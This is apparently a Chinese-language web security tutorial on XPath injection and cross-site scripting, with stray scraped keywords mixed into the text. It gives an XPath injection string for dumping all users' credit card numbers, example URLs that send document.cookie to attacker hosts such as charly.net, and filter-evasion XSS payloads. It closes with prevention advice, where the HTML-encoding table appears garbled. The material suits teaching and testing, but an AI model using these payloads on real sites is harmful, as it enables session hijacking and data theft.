XPATH注入javascript
Xml路徑語言,是一種用於導航xml文檔並從中獲取數據的解釋型語言。許多時候,一個XPath表達式表明由一個文檔節點導航到另外一個文檔節點所須要的一系列步驟。
若是web應用程序將數據保存在xml中,那麼可能就須要用XPath訪問數據。若是這個輸入未通過任何過濾淨化就插入到查詢中,攻擊者就能夠經過控制修改查詢語句來破壞應用程序邏輯,或者獲取未受權數據。從某種角度上說,XPath注入手段與SQL注入很是相似。html
例如一個xml數據文檔以下:java
那麼獲取全部用戶電子郵件的xpath查詢爲:
//address/email/text()
一個返回Jackson的所有用戶資料的xpath就爲:
//address[name/text()=‘Jackson’]web
注入方式:sql
設計有這樣一個功能,用戶提交name&password,來獲取用戶保存的信用卡號碼。對應的xpath以下:
//address[name/text()=‘Jackson’ and password/text()=‘letsgo’]/ccard/text()
與sql注入同樣,攻擊者也用’or ‘a’=‘a來攻擊
//address[name/text()=‘Jackson’ and password/text()=‘ ‘or ‘1’=‘1’ ] /ccard/text()
//address/ccard/text()
就能夠得到全部用戶的信用卡瀏覽器
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------安全
XSS攻擊
跨站腳本攻擊(Cross Site Scripting),XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中,其餘用戶在觀看網頁時,惡意腳本就會執行。這類攻擊一般經過注入HTML或js等腳本發動攻擊。攻擊成功後,攻擊者能夠獲得私密網頁內容和cookie等。最近幾年xss攻擊已經成爲最流行的攻擊方式。服務器
XSS攻擊--XSS攻擊的危害cookie
•盜取各種用戶賬號,如機器登陸賬號、用戶網銀賬號、各種管理員賬號
•控制數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
•盜竊企業重要的具備商業價值的資料
•非法轉帳
•強制發送網站掛馬
•控制受害者機器向其它網站發起攻擊xss
XSS攻擊—XSS分類
反射式XSS
•也稱爲非永久性XSS,是目前最流行的XSS攻擊。它出如今服務器直接使用客戶端提交的數據,如url的數據、html表單中提交數據等,而且沒有對數據進行無害化處理。
•若是提交的數據中含有HTML控制字符而沒有被正確處理,那麼一個簡單的XSS攻擊就會發生。
•典型的反射式攻擊可 經過一個郵件或中間網站,誘餌是一個看起來可信任的站點的連接,其中包含XSS攻擊腳本,若是信任的網站沒有正確處理這個腳本,用戶點擊後就會致使瀏覽器執行含有惡意攻擊的腳本。
•來看一個簡單的反射式XSS例子:
•反射式XSS
•這個簡單例子的測試有助於告訴咱們兩個問題:
•首先,input 的值能夠用任何返回給瀏覽器的數據替代;
•其次,不管服務器應用程序如何處理這些數據,都沒法阻止提交javascript代碼,一旦該頁面顯示,這些代碼就會執行。
典型的反射式XSS攻擊過程
•Alice常常瀏覽某個網站,此網站爲Bob所擁有。Bob的站點運行Alice使用用戶名/密碼進行登陸,並存儲敏感信息(好比銀行賬戶信息)。
•http://www.bob.net
•Charly發現Bob的站點包含反射性的XSS漏洞。
•Charly編寫一個利用漏洞的URL,並將其冒充爲來自Bob的郵件發送給Alice。
•http://www.bob.net/error.aspx?message=<script>var+i=new + Image;i.src=http://charly.net/%2bdocument.cookie;</script>
•Alice在登陸到Bob的站點後,瀏覽Charly提供的URL。
•嵌入到URL中的惡意腳本在Alice的瀏覽器中執行,就像它直接來自Bob的服務器同樣。此腳本盜竊敏感信息(受權、信用卡、賬號信息等)而後在Alice徹底不知情的狀況下將這些信息向Charly的Web站點charly.net提出一個請求,Charly監控訪問chaly.net的請求即可截獲Alice的會話令牌。
•存儲式XSS
•也成爲永久性XSS,危害更大。攻擊將攻擊腳本上傳到Web服務器上,使得全部訪問該頁面的用戶都面臨信息泄漏的可能,其中也包括了Web服務器的管理員。
•典型例子:
•在一個交友網站上,一我的在我的信息上寫上一段腳本如:
•<script>window.open(http://www.mysite.com?yourcookie=document.cookie)</script>,而該網站沒有對該段內容進行正確編碼,那麼網站其餘用戶看到這個用戶信息頁時,就會將當前的cookie提交到該用戶的web站點上。
典型的存儲式XSS攻擊過程:
•Bob擁有一個Web站點,該站點容許用戶發佈信息/瀏覽已發佈的信息。
•Charly注意到Bob的站點具備類型C的XSS漏洞。
•Charly發佈一個熱點信息,吸引其它用戶紛紛閱讀。
•Bob或者是任何的其餘人如Alice瀏覽該信息,其會話cookies或者其它信息將被Charly盜走。
基於DOM的XSS攻擊
•反射式XSS攻擊和存儲式XSS攻擊都是經過服務器端提取用戶提交的數據而且以不安全的方式將其返回給用戶。基於DOM的攻擊僅僅經過javascript的方式執行。
•當javascript在瀏覽器執行時,瀏覽器提供給javascript代碼幾個DOM對象。文檔對象首先在這些對象之中,而且它表明着大多數瀏覽器呈現的頁面的屬性。這個文檔對象包含不少子對象,例如location,URL和referrer。這些對象根據瀏覽器的顯示填充瀏覽器。所以, document.URL 和 document.location是由頁面的URL按照瀏覽器的解析填充的。
•也就是說這種攻擊常發生在應用程序每次返回相同的靜態html,而經過客戶端javascript動態生成信息時。
基於DOM的XSS攻擊
•<HTML>
•<TITLE>Welcome!</TITLE>
•Hi
•<SCRIPT>
•var pos=document.URL.indexOf("name=")+5;
•document.write(document.URL.substring(pos,document.URL.length));
•</SCRIPT><BR>
•Welcome to our system
•</HTML>
•一般這個頁面做爲用戶歡迎頁面, 例如:
• http://www.mysite.com/welcome.html?name=Jackson 然而,以下的一個請求: http://www. mysite.com/welcome.html?name= <script>alert(document.cookie)</script> 將產生xss條件。讓咱們看看爲何:受害者的瀏覽器接收到這個連接,發送HTTP請求到www.mysite.com而且接受到上面的HTML頁。受害者的瀏覽器開始解析這個HTML爲DOM,DOM包含一個對象叫document,document裏面有個URL屬性,這個屬性裏填充着當前頁面的URL。當解析器到達javascript代碼,它會執行它而且修改你的HTML頁面。假若代碼中引用了document.URL,那麼,這部分字符串將會在解析時嵌入到HTML中,而後當即解析,同時,javascript代碼會找到(alert(…))而且在同一個頁面執行它,這就產生了xss的條件。
XSS攻擊—XSS攻擊有效載荷
1. 會話令牌
•XSS攻擊最廣泛的方式。截取一名受害者的會話令牌,劫持他的會話,進而做爲受害者的身份來使用應用程序,執行任意操做並佔有該用戶的帳戶。
•2. 虛擬置換
•這種攻擊須要在一個Web應用程序頁面注入惡意數據,從而嚮應用程序的用戶傳送誤導性信息。包括簡單的向站點注入html,或者使用腳本注入精心設計的內容。攻擊者實際上沒有修改保存在服務器上的內容,而是利用程序處理並顯示用戶提交的輸入方面的缺陷實現置換。
3.注入木馬
•這種攻擊形成的後果遠比虛擬置換嚴重,它在易受攻擊的應用程序中注入實際運行的功能,旨在欺騙終端用戶執行某種有害操做(如輸入敏感數據),隨後將它們傳送給攻擊者。
•在一個明顯的攻擊中,攻擊者注入的功能向用戶顯示一個木馬登陸表單,要求他們向攻擊者控制的服務器提交他們本身的證書。若是由技巧熟練的攻擊者實施,這種攻擊還容許用戶無縫登陸到真正的應用程序中,以便他們不會發覺訪問過程當中的任何反常狀況。而後,攻擊者就能夠自由使用受害者的證書實現本身的目的。這種類型的有效載荷很是適宜於用在釣魚攻擊中,向用戶傳送一個通過專門設計、鏈接可信應用程序的URL,並要求他們正常登陸以訪問這個URL。
•因爲這些攻擊中的URL指向真實應用程序的可信域名,若是在必要時使用有效的 SSL 證書,它們就比純粹的釣魚Web站點更有可能說服受害者提交敏感信息;後者一般位於另外一個域中,並且只是克隆目標Web站點的內容。
XSS攻擊—傳送機制
傳送反射型與基於DOM的XSS攻擊
經過電子郵件向隨機用戶大量發送專門設計的URL
在有針對性的攻擊中,攻擊者能夠向個體目標用戶或少數幾名用戶發送一封僞造的電子郵件。例如,能夠向管理員發送一封明顯由已知用戶送出的電子郵件,抱怨某個特殊的URL形成錯誤。
在即時消息中向目標用戶提供一個 URL
第三方Web站點上的內容與代碼可用於生成觸發XSS漏洞的請求
一些攻擊者付費購買許多連接至一個URL的橫幅廣告,該URL中包含一個針對某易受攻擊的應用程序的XSS有效載荷。若是一名用戶登陸這個易受攻擊的應用程序,並單擊廣告,那麼他登陸該應用程序的會話就會被攻破。
許多應用程序執行一種"推薦給朋友"或向站點管理員發送反饋的功能。這種功能一般容許用戶生成一封電子郵件,其內容與收件人都可自由設置。攻擊者可以利用這種功能,經過一封實際源自本身服務器的電子郵件傳送XSS攻擊,提升郵件被技術熟練的用戶與反惡意軟件的軟件接受的可能性。
•傳送保存型XSS攻擊
•漏洞數據經過主Web界面提交給應用程序。用戶控制的數據最終顯示給其餘用戶的常見位置包含:
我的信息字段,如姓名、地址、電子郵件、電話等
文檔、上傳文件及其餘數據的名稱
提交給應用程序管理員的反饋或問題
向其餘應用程序用戶傳送的消息、註釋、問題等
記錄在應用程序日誌中,並經過瀏覽器顯示給管理員的任何內容,如 URL、用戶名、HTTP Referer、User-Agent等
在用戶之間共享的上傳文件內容
XSS攻擊—XSS檢測
•肯定XSS漏洞的基本方法是使用下面這個概念驗證攻擊字符串:
•><script>alert(‘xss’)</script>
•這個字符串被提交給每一個應用程序頁面中的每個參數;同時,攻擊者監控它的響應,看其中是否出現這個相同的字符串。若是發現攻擊字符串按原樣出如今響應中,幾乎能夠確定應用程序存在XSS漏洞。
•若是僅僅是爲了儘量快地肯定應用程序中存在的某種XSS漏洞,以向其餘應用程序用戶實施攻擊,那麼這個基本方法多是最爲有效的方法,由於它能夠實現高度自動化,並且不多生成錯誤警報。
•常用的檢測字符串一般還有:
• =’><script>alert(document.cookie)</script>
• <script>alert(document.cookie)</script>
• <script>alert(vulnerable)</script>
• <script>alert(’XSS’)</script>
• <imgsrc=」javascript.:alert(’XSS’)」>
• <imgsrc=」http://xxx.com/yyy.png」 onerror=」alert(’XSS’)」>
•若是是對應用程序進行復雜的測試,從而肯定儘量多的漏洞,那麼在應用基本方法的同時,還須要組合使用更加複雜的技巧。
•在遇到某些防護性過濾,如黑名單初步過濾、輸入淨化等,這種最基本的檢測方法將沒法肯定應用程序中是否存在XSS漏洞。
•一樣的,當利用基於DOM的XSS漏洞時,攻擊有效載荷並不在服務器的響應中返回,而是保存在瀏覽器DOM中,並可被客戶端JavaScript訪問。在這種狀況下,提交一個特殊字符串並檢查它是否在服務器的響應中出現的基本檢測方法一樣將沒法成功發現漏洞。
•探查反射型XSS漏洞
•要探查反射型XSS漏洞,須要在解析應用程序的過程當中肯定全部的用戶輸入點,並遵守以下步驟:
在每一個輸入點提交一個良性字符串
肯定此字符串反射在應用程序響應中的全部位置
對於每一個反射,肯定顯示反射型數據時的語法上下文
提交針對反射語法上下文而修改的數據,嘗試在響應中引入任意腳本
若是反射型數據被阻止或淨化,致使腳本沒法執行,則嘗試避開應用程序的防護型過濾
•探查反射型XSS漏洞
•1. 確認用戶輸入的反射:
①選擇任意一個字符串,該字符串未曾出如今應用程序的任何地方,並且其中僅包含字母字符,所以不可能受到針對XSS過濾的影響。例如:
myxsstestfengluo
②提交這個字符串,以其做爲每一個頁面的每個參數,且每次只針對一個參數。
③監控應用程序的響應,看其中是否出現這同一個字符串。記下參數值被複制到應用程序響應中的每個參數。這些參數不必定容易受到攻擊,但須要將它們做爲潛在的XSS漏洞,進行深刻分析
•探查反射型XSS漏洞
•2. 測試引入腳本的反射:
•滲透測試員必須對記下的每一個潛在的漏洞進行手動分析,肯定其是否確實可被利用。這時,滲透測試的目的是找到一種設計輸入的方法,以便當它被複制到應用程序響應的相同位置時,任何JavaScript腳本都可以得以執行。
•探查反射型XSS漏洞
標籤屬性值
•假設返回的頁面中包含如下腳本:
•<input type="text" name="address1" value="myxsstestfengluo">
•很明顯,利用XSS的一種方法是終止包含字符串的雙引號,結束<input>標籤,而後經過其餘方法引入JavaScript腳本(使用<script>、<img src= 'javascript:...'>等)。例如:
•"><script>alert(‘xss’)</script>
•在這種狀況下,另外一種能夠避開某些輸入過濾的利用方法,是在<input>標籤內注入一個包含JavaScript的事件處理器。例如:
•「 onfocus="alert(‘xss’)
•探查反射型XSS漏洞
JavaScript字符串
•假設返回的頁面中包含如下腳本:
•<script>var a = 'myxsstestfengluo'; var b = 12; ... </script>
•這時,受控制的字符串被直接插入到現有的一段腳本中。要利用XSS,能夠終止字符串周圍的單引號,用一個分號終止整個語句,而後直接處理想要執行的 JavaScript。例如:
•'; alert(‘xss’); var foo='
•注意,由於已經終止了一個被引用的字符串,爲阻止JavaScript註釋器出現錯誤,必須在注入的代碼後使用有效的語法確保腳本繼續正常執行。在這個示例中,變量foo被聲明,另外一個引用字符串被打開,它們將被緊隨在字符串後面的代碼終止。另外一種常常有效的方法是使用//結束輸入,將剩下的腳本看成註釋處理。
•探查反射型XSS漏洞
包含URL的特性:
•假設返回的頁面中包含如下腳本:
•<img src="myxsstestfengluo">
•這時,受控制的字符串插入到一個<img>標籤的src屬性中。在一些瀏覽器中,這個屬性可能包含一個使用javascript:協議的 URL,從而可使用如下腳本直接利用XSS:
•javascript:alert(‘xss’);
•要向當前全部的瀏覽器實施攻擊,能夠同時使用一個無效的圖像名稱與一個onerror事件處理器:
•「onerror=」alert(‘xss’)
•探查防護型過濾
•有時候最初提交的攻擊字符串並不會被服務器按原樣返回,於是沒法成功執行注入的JavaScript。接下來應該肯定服務器對輸入進行了哪些處理。主要有如下兩種可能的狀況。
應用程序發現輸入匹配了攻擊黑名單,執行過濾,徹底阻止了輸入。
應用程序已經接受了輸入,但對攻擊字符串進行了某種淨化或編碼。
避開過濾或淨化
•首先須要肯定輸入中的哪些字符或表達式觸發了過濾或淨化。一種有效的方法是輪流刪除字符串的不一樣部分,看輸入是否仍然被阻止。一般,使用這種方法可迅速查明是不是某個特殊的表達式(如<script>)形成請求被阻止。
•若是確實如此,那麼須要對過濾進行測試,看是否有任何避開過濾的辦法。
避開過濾或淨化
•介紹幾種簡單避開過濾和淨化的方法:
大小寫:
由於許多人用小寫字符編寫HTML代碼,因此一些過濾僅檢查經常使用的小寫惡意標籤。若是是這樣,那麼經過改變字符大小寫便可避開這些過濾。
如:
<SCriPt>
•避開過濾或淨化
空白符:
許多過濾匹配特殊的標籤,包括起始與結束尖括號。然而,許多瀏覽器接受結束括號前的空白符,容許攻擊者輕易避開這種過濾。
如: <script >
即便空字節後面的文本仍然在應用程序的響應中返回,但若是遇到空字節,一些過濾會中止處理字符串。在被過濾的表達式前插入一個URL編碼的空字節便可避開這種過濾。
如: <sc%00ript>
避開過濾或淨化
事件處理器:
有大量事件處理器能夠與標籤結合使用,以用於執行腳本。例如:
*<img src=a onerror=alert(‘XSS’)>
<body onactivate=alert(‘XSS’)>
<xml onreadystatechange=alert(‘XSS’)>
•避開過濾或淨化
腳本僞協議:
腳本僞協議能夠用在各個位置,以在須要的URL屬性中執行腳本。例如:
*<iframe src=「javascript:alert(‘XSS’)」>
<object data=「javascript:alert(‘XSS’)」>
……
探查存儲型XSS漏洞
•肯定保存型XSS漏洞的過程與前面描述的肯定反射型XSS漏洞的過程有不少類似之處,都包括提交一個特殊的字符串做爲每一個頁面的每個參數。下面來看一下檢測存儲型XSS漏洞的步驟:
嚮應用程序中的每個可能的位置提交一個特殊的字符串後,必須反覆檢查應用程序的整個內容與功能,肯定這個字符串在瀏覽器中顯示的任何狀況。在一個位置(例如,我的信息頁面的姓名字段)輸入用戶控制的數據,這個數據可能會在應用程序的許多不一樣位置顯示(例如,用戶主頁上、註冊用戶列表中、任務等工做流程項目中、其餘用戶的聯繫列表中、用戶提交的消息或問題中、應用程序日誌中等)。應用程序可能對每一個出現的字符串實施了不一樣的保護性過濾,所以須要對它們進行單獨分析。
若有可能,應檢查管理員可以訪問的全部應用程序區域,肯定其中是否存在任何可被非管理用戶控制的數據。例如,應用程序通常容許管理員在瀏覽器中檢查日誌文件。這種類型的功能極有可能包含XSS漏洞,攻擊者經過生成含有惡意HTML的日誌記錄便可對其加以利用。
在嚮應用程序中的每一個位置提交一個測試字符串時,並不老是把它做爲每一個頁面的每個參數這樣簡單。在保存被提交的數據以前,許多應用程序功能須要經歷幾個階段的操做。例如,註冊新用戶、處理購物訂單、轉帳等操做每每須要按預約的順序提交幾個不一樣的請求。爲避免遺漏任何漏洞,必須確保每次測試完全完成。
若是應用程序容許文件上傳與下載,應始終探查這種功能是否易於受到保存型XSS攻擊。若是應用程序容許HTML或文本文件,且並不確認或淨化它們的內容,那麼幾乎能夠確定它們易於受到攻擊。若是它容許JPEG文件且並不確認其中是否包含有效的圖像,那麼它可能易於受到針對Internet Explorer用戶的攻擊。測試應用程序如何處理它支持的每種文件類型,並弄清瀏覽器如何處理包含HTML而非正常內容的響應。
探查基於DOM的XSS漏洞
•使用「提交一個特殊的字符串做爲參數,而後監控響應中是否出現該字符串」的常規方法沒法肯定基於DOM的XSS漏洞:。
•肯定基於DOM的XSS漏洞的基本方法是,用瀏覽器手動瀏覽應用程序,並修改每個URL參數,在其中插入一個標準測試字符串,例如:
•"<script>alert(‘xss’)</script>
•經過在瀏覽器中顯示每個返回的頁面,能夠執行全部客戶端腳本,必要時引用修改的URL參數。只要包含xss的對話框出現,就表示發現了一個漏洞。
•遇到相關過濾操做時,也能夠用以前介紹的一些方法避開過濾。
XSS攻擊—XSS預防
•1. 輸入驗證
若是應用程序在某個位置收到的用戶提交的數據未來有可能被複制到它的響應中,應用程序應根據這種情形對這些數據執行儘量嚴格的確認。須要確認的數據的潛在特性包括如下幾點。
數據不是太長。
數據僅包含某組合法字符。
數據與一個特殊的正規表達式相匹配。
根據應用程序但願在每一個字段中收到的數據類型,應儘量限制性地對姓名、電子郵件地址、帳號等應用不一樣的確認規則。
2. 輸出編碼
•若是應用程序將某位用戶或第三方提交的數據複製到它的響應中,那麼應用程序應對這些數據進行HTML編碼,以淨化可能的惡意字符。HTML 編碼指用對應的HTML實體替代字面量字符。這樣作可確保瀏覽器安全處理可能爲惡意的字符,把它們看成HTML文檔的內容而非結構處理。 常常形成問題的字符的HTML編碼以下:
•「 -----"
•‘ -----'
•< -----<
•> ----->
•/ -----/
應用程序之因此結合使用輸入確認與輸出淨化,緣由在於這種方法可以提供兩層防護:若是其中一層被攻破,另外一層還能提供一些保護。•許多執行輸入與輸出確認的過濾都容易被攻破。結合這兩種技巧,應用程序就可以得到額外的保護,即便攻擊者發現其中一種過濾存在缺陷,另外一種過濾仍然可以阻止他實施攻擊。在這兩種防護中,輸出確認最爲重要,必不可少。實施嚴格的輸入確認應被視爲一種次要故障恢復